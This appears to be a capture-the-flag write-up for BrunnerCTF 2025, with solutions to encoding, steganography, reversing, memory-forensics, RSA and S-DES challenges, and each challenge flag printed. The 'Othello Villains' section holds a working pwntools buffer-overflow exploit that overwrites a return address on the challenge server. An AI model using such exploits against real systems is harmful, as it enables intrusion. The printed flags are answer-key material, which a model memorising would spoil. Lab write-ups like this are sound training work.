# BrunnerCTF 2025

misc
- [x] The Yeasy Key
- [X] Pie Recipe
- [x] Bakerman
rev
- [x] Trippi Troppa Chaos
pwn
- [x] Othello Villains
for
- [x] Memory Loss
crypto
- [x] Half-Baked
- [x] The Complicated Recipe
# misc
## The Yeast Key
DNA -> binary -> ASCII
```python
dna = "CGAGCTAGCTCCCGTGCGTGCGCCCTAGCTGTATACCGGCATAACGTGATATCGTACCTTCTAAATAACGGCATACATCACGTGATATCCTTCGTCATCAATCCATCTATATCTAGCCTTATAACGCGCCTTATCCATAACTCCCTAGCGCAATAACTCCATCGCGGACCTTCTAAATCAATCCATCCCTAACGGACTAGATCAATCCATATCCTTATACATCCCCTTCGATCTAGATAAATACATCCATCCATCACGTGATCTCCCGATCACTCCATACATCTAGACATGCATATCTTC"
mapping = {'A':'00','C':'01','G':'10','T':'11'}
bits = ''.join(mapping[b] for b in dna)
# every 8 bits 1 byte
decoded = ''.join(chr(int(bits[i:i+8],2)) for i in range(0,len(bits),8))
print(decoded)
```
## Pie Recipe
```
89|89.21|55.13.5.1|34.13.2|89.8.1|89.13.5.2|34.13.5.1|89.13.5.1|89.8.2|89.21|89.21.5|34.13.3.1|89.8|55.13|55.21.2|89.13|89.1|89.21.8.3.1|55.8.2|89.21.8.2|89.1|55.13|55.21.2|89.21.5.2|55.21.8.3.1|34.13.3.1|55.8.3|89.21.1|55.21.1|55.21.8.2|55.1|89.21.8.1|89.1|89.13.5.1|55.2|34.13.5.2|89.1|55.21.8.3|55.21.2|89.21.3.1|89.1|55.21.8.3|34.13.5.1|89.13.5|89.8.1|34.13.3.1|55.13.5.1|89.13.5.2|89.13|55.21.5|55.5.1|55.5.1
```
- The Recipe of the Golden Phi
- Author is baker Zeckendorf
Golden Phi(φ, 1.618...) represent Fibonacci sequence
Zeckendorf theorem -> Indicates that every positive integer can be uniquely decomposed into a combination of "non-adjacent Fibonacci numbers".
ex : `55.13.5.1` -> 55+13+5+1=74
`.` : `+`
`|` : seperate different letter
**Decoding method**
- Add up the numbers in each group → get a total.
- Convert this total into its corresponding ASCII value → get a character.
- Join the characters in order to reconstruct the message.
```python
data = "89|89.21|55.13.5.1|34.13.2|89.8.1|89.13.5.2|34.13.5.1|89.13.5.1|89.8.2|89.21|89.21.5|34.13.3.1|89.8|55.13|55.21.2|89.13|89.1|89.21.8.3.1|55.8.2|89.21.8.2|89.1|55.13|55.21.2|89.21.5.2|55.21.8.3.1|34.13.3.1|55.8.3|89.21.1|55.21.1|55.21.8.2|55.1|89.21.8.1|89.1|89.13.5.1|55.2|34.13.5.2|89.1|55.21.8.3|55.21.2|89.21.3.1|89.1|55.21.8.3|34.13.5.1|89.13.5|89.8.1|34.13.3.1|55.13.5.1|89.13.5.2|89.13|55.21.5|55.5.1|55.5.1"
out = ""
for block in data.split("|"):
num = sum(int(x) for x in block.split("."))
out += chr(num)
print(out)
```
brunner{7h3_g01d3n_ph1_0f_zeckendorf}
## Bakerman
find out that it is `.mp3`,but it actually file type is ZIP
and this was been tag in `Steganography`
```
mv SportsCar.mp3 SportsCar.zip
unzip SportsCar.zip
zsteg SportsCar.png
```
it looks like base64 encoding

decode it
```
first : SSBsb3ZlIG11c2ljIHdoZW4gSSBiYWtlLCBodHRwczovL3d3dy55b3V0dWJlLmNvbS93YXRjaD92PXh2RlpqbzVQZ0cwDQpVVEpHY2xwVFFtdGlNMVp1WVVSdlRrTnFTWGRKUjJOblpWZFdhR016VVU1RGFrVm5Xa2QzWjJKWGJITmhlWGRuWTIwNWRtSlRRakJhVnpGM1dsaEthR1JJVm5sYVVUQkxUa1JCWjFwNVFtbGtXRkl3
first deocde result :
Cake dough:
20 g yeast
1 dl milk, room temperature
40 g butt
second : V2xoSlRrTnFSV2RhVjJSdVJGRnZNRTFEUW01SlNFNHhXakpHZVVSUmIzZE1hbFYzU1VoU2VtTkRRbnBaVjNnd1JGRnZlRWxJUW5CaWJVNXZTVWRrZVdJelZuVmFRMEpxV1ZoS2ExbFhNWFppVVRCTFRXcFZkMGxIWTJka01taHNXVmhSWjFwdGVIWmtXRWxPUTJjd1MxbHVTakZpYlRWc1kyNTBUMDFJWkdabFZFSXhXREIwZFUx
first deocde result :
er
1 egg
40 g sugar
0.50 tsp salt
1 pinch ground cardamom
250 g wheat flour
brunner{N0w_y0u_Kn
```
it sounds like giving us some recipe
so i guess flag is now you know the recipe
brunner{N0w_y0u_Kn0w_th3_r3c1p3}
# rev
## Trippi Troppa Chaos
I put it into gpt and get this stuff
**Given**
- `output.txt` (Base85 string)
```
qjuA_QZVI_ua24NQ}fM1hX4ecdyVShKb2vJjeQJ@Jz=zws0^9Enr1fR+Em_5w2j=p4)2<#m3EZ?m3Oo@
```
- Obfuscated encoder (Python)
The encoder does:
1. `key = b"skibidi"`
2. `step_one = SHA-256("skibidiskibidi")[:7]`
3. `step_two = XOR(flag, cycle(step_one))`
4. `step_three = [(b * 7) % 256 for b in step_two]`
5. `step_four = reverse(step_three)`
6. `output = base64.b85encode(step_four)`
To **decrypt**, invert each step in reverse order:
1. `step_four = base64.b85decode(output)`
2. `step_three = reverse(step_four)`
3. `step_two = [(b * inv7) % 256 for b in step_three]` with `inv7 = 183` since `7 * 183 ≡ 1 (mod 256)`
4. `flag = XOR(step_two, cycle(SHA-256("skibidiskibidi")[:7]))`
```python=
import base64, hashlib, itertools
out_str = "qjuA_QZVI_ua24NQ}fM1hX4ecdyVShKb2vJjeQJ@Jz=zws0^9Enr1fR+Em_5w2j=p4)2<#m3EZ?m3Oo@"
data = base64.b85decode(out_str.encode()) # 1) Base85 解碼
rev = data[::-1] # 2) 反轉
inv7 = 183 # 3) 7 的模 256 乘法逆元
after = bytes((b*inv7) % 256 for b in rev)
key7 = hashlib.sha256(b"skibidiskibidi").digest()[:7] # 4) 取前 7 bytes
flag = bytes(b ^ k for b, k in zip(after, itertools.cycle(key7)))
print(flag.decode())
```
brunner{tr4l4l3r0_b0mb4rd1r0_r3v3rs3_3ng1n33r1ng_sk1b1d1_m4st3r}
# pwn
## Othello Villains
reverse found out there is a win function

and main function is very clearly got bof issue

checksec

win function address is `0x4012ae win `
**Exploit**
```python
from pwn import *
context.arch = 'amd64'
#r = process('./othelloserver')
r = remote("othello-villains-efd311d1e53488f4.challs.brunnerne.xyz", 443, ssl=True)
win_address = 0x4012ae
payload = b'A' * 40 + p64(win_address)
r.sendlineafter(b'??',payload)
r.interactive()
```
brunner{0th3ll0_is_inf3ri0r_t0_brunn3r}
# for
## Memory Loss
`.dump` : is a snapshot of an application's state at the moment it was captured, typically during an error or crash
and CTF says "a picture of it, but where did I put it?",so we can try to find the picture in `.dump`
file `.dump` can see it is a `MS Windows 64bit crash dump`

usefull tool for forensic => https://github.com/volatilityfoundation/volatility3
```
vol -f memoryloss.dmp windows.filescan | grep -iE "jpg|png"
```

try to dump png file out
```
vol -f memoryloss.dmp -o dumped_files windows.dumpfiles --virtaddr 0xb207c3ab6c40
```

brunner{0h_my_84d_17_w45_ju57_1n_my_m3m0ry}
# crypto
## Half-Baked
it says "remember to use some good primes"
```python=
# Python 3.8+(因為用到 pow(..., -1, mod) 來算模反元素)
n = 2999882211429630485883650302877390551374775896896788078868325571891218714007953558505041388044334470201821965796391409921668122818083570668568660678895962925314655342154580738160357641047430373917156721861167458749434940591017306495880180805391185380307427539761080193213111534709378234670214284858143824384128077373871882033779166821558334466322908873171079631967672353755842618738501413251304204009472
e = 65537
c = 406899880095774364291729342954053590589397159355690238625035627993181937179155345315119680672959072539867481892078815991872758149967716015787715641627573675995588117336214614607141418649060621601912927211427125930492034626696064268888134600578061035823593102305974307471288655933533166631878786592162718700742194241218161182091193661813824775250046054642533470046107935752737753871183553636510066553725
# 1) 確認 n = 2^k
k = n.bit_length() - 1
assert (1 << k) == n, "n 不是 2 的冪,這題就不是 2^k 模組的情況了"
# 2) 在 Z/(2^k) 中的單位集合是所有奇數。其大小為 phi(2^k) = 2^(k-1)
phi = 1 << (k - 1)
# 3) 求 d = e^{-1} (mod 2^(k-1)) (e 為奇數 => 與 2^(k-1) 互質 => 逆元存在)
d = pow(e, -1, phi)
# 4) 解密:m = c^d mod 2^k
m = pow(c, d, n)
# 5) 轉成可讀字串(依題型常見為 ASCII)
m_hex = hex(m)[2:]
if len(m_hex) % 2 == 1:
m_hex = "0" + m_hex # 長度補齊
try:
m_bytes = bytes.fromhex(m_hex)
m_text = m_bytes.decode("utf-8") # 也可換成 'latin-1' 或 'ascii'
except UnicodeDecodeError:
m_text = None
print("[*] k =", k)
print("[*] m (hex) =", "0x" + m_hex)
print("[*] m (text) =", m_text)
# 6) 驗證:重新加密看看是否回到 c
assert pow(m, e, n) == c, "驗證失敗:m^e mod n != c"
print("[*] 驗證 OK:m^e mod n == c")
```
brunner{s1ngl3_pr1m3_1s_d0ubl3_tr0ubl3}
## The Complicated Recipe
given us this ciphertext :
```
D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2
```
**The flavor text mentions:**
- A “Master Baker Feistel” (hinting at a Feistel cipher).
- References to DES, “trois DES,” and specifically S-DES.
This strongly suggests that the ciphertext was encrypted with Simplified DES (S-DES), a toy version of DES often used for teaching.
**Background: S-DES**
- Block size: 8 bits.
- Key size: 10 bits.
- Structure: 2-round Feistel network with fixed permutation tables (P10, P8, IP, EP, P4, IP⁻¹, S-boxes S0 and S1).
- Weakness: The entire keyspace is only 2¹⁰ = 1024 keys, so brute force is trivial.
**Attack Plan**
1.Parse the ciphertext from hex into bytes. Each ciphertext byte corresponds to one plaintext byte because S-DES encrypts 8-bit blocks.
2.Implement S-DES (including subkey generation and encryption/decryption functions).
3.Brute-force all 1024 possible keys:
- Generate subkeys K1 and K2 from the 10-bit candidate key.
- Decrypt the ciphertext.
- Check if the result looks like readable ASCII.
4.Validate the candidate plaintext by re-encrypting it and comparing to the ciphertext.
**Exploit**
```python=
#!/usr/bin/env python3
# S-DES (Simplified DES) brute-force decryptor + implementation
# Tables per William Stallings (Computer Security) standard S-DES.
P10 = [2,4,1,6,3,9,0,8,7,5]
P8 = [5,2,6,3,7,4,9,8]
IP = [1,5,2,0,3,7,4,6]
IPINV = [3,0,2,4,6,1,7,5]
EP = [3,0,1,2,1,2,3,0]
P4 = [1,3,2,0]
S0 = [
[1,0,3,2],
[3,2,1,0],
[0,2,1,3],
[3,1,3,2]
]
S1 = [
[0,1,2,3],
[2,0,1,3],
[3,0,1,0],
[2,1,0,3]
]
def permute(bits, table):
return [bits[i] for i in table]
def left_shift(bits, n):
return bits[n:] + bits[:n]
def bits_from_int(x, n):
return [(x >> (n-1-i)) & 1 for i in range(n)]
def int_from_bits(b):
v = 0
for bit in b: v = (v << 1) | bit
return v
def sbox(bits, box):
row = (bits[0] << 1) | bits[3]
col = (bits[1] << 1) | bits[2]
return bits_from_int(box[row][col], 2)
def fk(bits8, subkey):
L, R = bits8[:4], bits8[4:]
ER = permute(R, EP) # E/P
x = [a ^ b for a, b in zip(ER, subkey)]
s0o = sbox(x[:4], S0)
s1o = sbox(x[4:], S1)
p4 = permute(s0o + s1o, P4)
newL = [l ^ p for l, p in zip(L, p4)]
return newL + R
def make_subkeys(key10):
kbits = bits_from_int(key10, 10)
p10 = permute(kbits, P10)
L, R = p10[:5], p10[5:]
ls1 = left_shift(L, 1) + left_shift(R, 1)
K1 = permute(ls1, P8)
ls2 = left_shift(ls1[:5], 2) + left_shift(ls1[5:], 2)
K2 = permute(ls2, P8)
return K1, K2
def sdes_encrypt_byte(b, K1, K2):
bits = bits_from_int(b, 8)
x = permute(bits, IP)
x = fk(x, K1)
x = x[4:] + x[:4] # swap
x = fk(x, K2)
y = permute(x, IPINV)
return int_from_bits(y)
def sdes_decrypt_byte(b, K1, K2):
bits = bits_from_int(b, 8)
x = permute(bits, IP)
x = fk(x, K2) # note K2 then K1 in decryption
x = x[4:] + x[:4]
x = fk(x, K1)
y = permute(x, IPINV)
return int_from_bits(y)
def decrypt_with_key(ct_bytes, key10):
K1, K2 = make_subkeys(key10)
return bytes(sdes_decrypt_byte(b, K1, K2) for b in ct_bytes)
def is_printable(pt: bytes) -> bool:
return all((32 <= c <= 126) or c in (10, 13) for c in pt)
def main():
hex_ct = "D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2"
ct = bytes.fromhex(hex_ct)
best = []
for key in range(1024): # 10-bit key space
pt = decrypt_with_key(ct, key)
if is_printable(pt):
best.append((key, pt))
if not best:
print("No printable candidate found.")
return
# Usually只有一組(這題確實只有一組)
key, pt = best[0]
try:
txt = pt.decode("ascii")
except:
txt = pt.decode("latin-1")
print(f"[*] Found key: {key} (binary: {key:010b})")
print(f"[*] Plaintext (ASCII): {txt}")
# 验证:用找到的明文重新加密回去看是否等于密文
K1, K2 = make_subkeys(key)
reenc = bytes(sdes_encrypt_byte(b, K1, K2) for b in pt)
assert reenc == ct, "Re-encryption mismatch"
print("[*] Verification OK: E_K(PT) == CT")
if __name__ == "__main__":
main()
```
brunner{5D35_15_N0T_H4RD_1F_Y0U_KN0W_H0W_T0_JU5T_B4K3}